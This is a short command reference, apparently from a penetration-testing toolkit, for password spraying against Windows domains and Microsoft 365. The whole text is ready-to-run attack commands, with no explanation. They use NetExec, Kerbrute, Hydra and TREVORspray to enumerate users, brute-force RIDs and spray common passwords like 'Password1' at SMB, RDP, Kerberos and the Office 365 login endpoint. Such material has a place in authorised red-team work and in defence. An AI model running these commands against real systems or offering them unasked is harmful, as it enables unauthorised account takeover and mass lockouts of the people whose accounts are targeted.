<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Conducting Password Spraying

## NetExec (nxc)

```bash
nxc smb TARGET -u users.txt -p 'Password1' --continue-on-success
nxc smb TARGET -u users.txt -p passwords.txt --no-bruteforce
nxc smb TARGET -u USER -p PASS --pass-pol
nxc smb TARGET -u '' -p '' --rid-brute 5000
```

## Kerbrute

```bash
kerbrute userenum --dc DC_IP -d DOMAIN usernames.txt
kerbrute passwordspray --dc DC_IP -d DOMAIN users.txt 'Password1'
kerbrute bruteuser --dc DC_IP -d DOMAIN passwords.txt username
```

## Hydra

```bash
hydra -L users.txt -p 'Password1' smb://TARGET
hydra -L users.txt -p 'Password1' rdp://TARGET
```

## TREVORspray (O365)

```bash
trevorspray -u users.txt -p 'Password1' --url https://login.microsoftonline.com
```
